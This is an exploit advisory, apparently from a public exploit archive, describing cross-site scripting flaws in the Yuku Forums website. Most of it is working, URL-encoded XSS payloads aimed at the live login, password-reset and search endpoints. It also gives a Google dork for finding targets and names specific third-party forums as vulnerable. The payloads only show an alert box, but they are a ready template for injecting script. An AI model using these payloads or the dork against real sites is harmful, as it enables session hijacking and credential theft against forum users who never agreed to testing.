Yuku Forums suffers from a cross site scripting vulnerability.
8408ecb7188a72bf06a5f5235b81bb919f3f43a696b724ed4dd15f5cb28de449
# Exploit Title: Yuku Forums Cross Site Scripting
# Date: 24.01.2012
# Author: Sony
# Software Link: http://www.yuku.com/
# Google Dorks: inurl:.yuku.com intext:forum
# Web Browser : Mozilla Firefox
# Blog : http://st2tea.blogspot.com
# PoC:
http://st2tea.blogspot.com/2012/01/yuku-forums-cross-site-scripting.html
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Well, we have xss in the login page:
http://www.yuku.com/login/loginnow
POST /login/view/
login=%27%3Balert%28String.fromCharCode%2888%2C83%2C83%29%29%2F%2F%5C%27%3Balert%28String.fromCharCode%2888%2C83%2C83%29%29%2F%2F%22%3Balert%28String.fromCharCode%2888%2C83%2C83%29%29%2F%2F%5C%22%3Balert%28String.fromCharCode%2888%2C83%2C83%29%29%2F%2F--%3E%3C%2FSCRIPT%3E%22%3E%27%3E%3CSCRIPT%3Ealert%28String.fromCharCode%2888%2C83%2C83%29%29%3C%2FSCRIPT%3E&password=%27%3Balert%28String.fromCharCode%2888%2C83%2C83%29%29%2F%2F%5C%27%3Balert%28String.fromCharCode%2888%2C83%2C83%29%29%2F%2F%22%3Balert%28String.fromCharCode%2888%2C83%2C83%29%29%2F%2F%5C%22%3Balert%28String.fromCharCode%2888%2C83%2C83%29%29%2F%2F--%3E%3C%2FSCRIPT%3E%22%3E%27%3E%3CSCRIPT%3Ealert%28String.fromCharCode%2888%2C83%2C83%29%29%3C%2FSCRIPT%3E
And in the reset password:
http://www.yuku.com/portal/resetpass
POST /login/resetpassword
name=%27%3Balert%28String.fromCharCode%2888%2C83%2C83%29%29%2F%2F%5C%27%3Balert%28String.fromCharCode%2888%2C83%2C83%29%29%2F%2F%22%3Balert%28String.fromCharCode%2888%2C83%2C83%29%29%2F%2F%5C%22%3Balert%28String.fromCharCode%2888%2C83%2C83%29%29%2F%2F--%3E%3C%2FSCRIPT%3E%22%3E%27%3E%3CSCRIPT%3Ealert%28String.fromCharCode%2888%2C83%2C83%29%29%3C%2FSCRIPT%3E
Also in the search:
http://find.yuku.com/?q=%27%3Balert%28String.fromCharCode%2888%2C83%2C83%29%29%2F%2F\%27%3Balert%28String.fromCharCode%2888%2C83%2C83%29%29%2F%2F%22%3Balert%28String.fromCharCode%2888%2C83%2C83%29%29%2F%2F\%22%3Balert%28String.fromCharCode%2888%2C83%2C83%29%29%2F%2F--%3E%3C%2FSCRIPT%3E%22%3E%27%3E%3CSCRIPT%3Ealert%28String.fromCharCode%2888%2C83%2C83%29%29%3C%2FSCRIPT%3E&sa=Go
We can see xss in the another yuku forums:
http://biddingfortravel.yuku.com/
http://britishmilitariaforums.yuku.com/
http://survivorsucks.yuku.com/
etc..
in the search friend xss, etc..
Demo Video:
http://www.youtube.com/watch?v=1itP1hvoHMw